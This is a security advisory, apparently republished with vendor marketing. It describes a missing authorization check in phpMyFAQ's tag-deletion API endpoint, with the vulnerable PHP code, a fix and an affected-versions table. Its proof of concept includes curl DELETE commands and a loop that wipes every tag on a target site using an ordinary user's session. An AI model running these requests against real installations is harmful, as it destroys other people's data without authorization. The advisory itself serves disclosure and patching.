GHSA-7cx3-2qx2-3g6w
MEDIUMphpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags
Blast Radius
phpmyfaq/phpmyfaq🐘thorsten/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The TagController::delete() endpoint at DELETE /admin/api/content/tags/{tagId} only verifies that the user is logged in (userIsAuthenticated()), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with TagController::update() and TagController::search(), which both enforce the FAQ_EDIT permission.
Details
In phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php, the delete() method (line 121-133) uses only $this->userIsAuthenticated():
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
$this->userIsAuthenticated(); // Only checks isLoggedIn() — no permission check
$tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);
if ($this->tags->delete($tagId)) {
return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
}
return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}
Compare with update() (line 48-71) which properly enforces authorization:
public function update(Request $request): JsonResponse
{
$this->userHasPermission(PermissionType::FAQ_EDIT); // Proper permission check
// ... also verifies CSRF token ...
}
The userIsAuthenticated() method in AbstractController (line 258-263) only checks $this->currentUser->isLoggedIn():
protected function userIsAuthenticated(): void
{
if (!$this->currentUser->isLoggedIn()) {
throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
}
}
There is no admin-level middleware in the Kernel — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (admin/api/index.php) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests.
Additionally, this endpoint lacks CSRF token verification (unlike update()), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly.
PoC
# Step 1: Register as a regular user on the phpMyFAQ frontend
# (or use any existing non-admin authenticated session)
# Step 2: As the authenticated non-admin user, delete tag with ID 1:
curl -X DELETE 'https://target.com/admin/api/content/tags/1' \
-H 'Cookie: PHPSESSID=<regular_user_session>'
# Expected: 401 or 403 (user lacks FAQ_EDIT permission)
# Actual: 200 OK with {"success": "..."}
# Step 3: Enumerate and delete all tags:
for i in $(seq 1 100); do
curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \
-H 'Cookie: PHPSESSID=<regular_user_session>'
done
Impact
Any authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in:
- Data integrity loss: Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed.
- Disruption of FAQ organization: Tag-based navigation, filtering, and tag clouds become empty or broken.
- No recoverability without backup: Deleted tags and their associations cannot be restored without a database backup.
The impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability.
Recommended Fix
Add the FAQ_EDIT permission check and CSRF token verification to TagController::delete(), consistent with TagController::update():
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
$this->userHasPermission(PermissionType::FAQ_EDIT);
$tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);
if ($this->tags->delete($tagId)) {
return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
}
return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}
At minimum, add $this->userHasPermission(PermissionType::FAQ_EDIT) to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated TAG_DELETE permission type for more granular access control.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpmyfaq/phpmyfaq | all versions | 4.1.2 |
| 🐘Packagist | thorsten/phpmyfaq | all versions | 4.1.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpmyfaq/phpmyfaq. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update phpmyfaq/phpmyfaq to 4.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7cx3-2qx2-3g6w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7cx3-2qx2-3g6w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7cx3-2qx2-3g6w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7cx3-2qx2-3g6w in your dependencies?
O3 detects GHSA-7cx3-2qx2-3g6w across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.